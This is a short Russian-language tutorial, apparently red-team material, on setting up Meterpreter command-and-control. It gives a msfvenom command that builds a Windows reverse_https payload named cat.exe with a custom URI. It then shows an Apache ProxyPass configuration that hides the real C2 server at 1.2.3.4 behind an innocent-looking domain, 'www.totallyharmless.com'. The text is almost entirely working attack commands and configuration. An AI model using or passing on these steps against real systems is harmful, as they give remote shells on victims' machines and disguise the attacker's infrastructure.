Сначала создайте полезную нагрузку:
msfvenom -p windows/meterpreter/reverse_https LHOST=<IP OR DOMAIN NAME> LPORT=<PORT or 443> LURI=/myawesomecnc -o /root/cat.exe
Самая важная часть - это LURI, который нужно установить для конкретного ресурса. Весь трафик, генерируемый полезной нагрузкой, будет направлен на этот URI.
После этого используйте директиву ProxyPass в Apache или nginx, чтобы перенаправлять только трафик / myawesomecnc на нужный хост. Вот пример Apache:
<VirtualHost *:443> ServerName www.totallyharmless.com ... ProxyPass /myawesomecnc/ http://1.2.3.4/myawesomecnc/ ProxyPassReverse /myawesomecnc/ http://1.2.3.4/myawesomecnc/ ... </VirtualHost>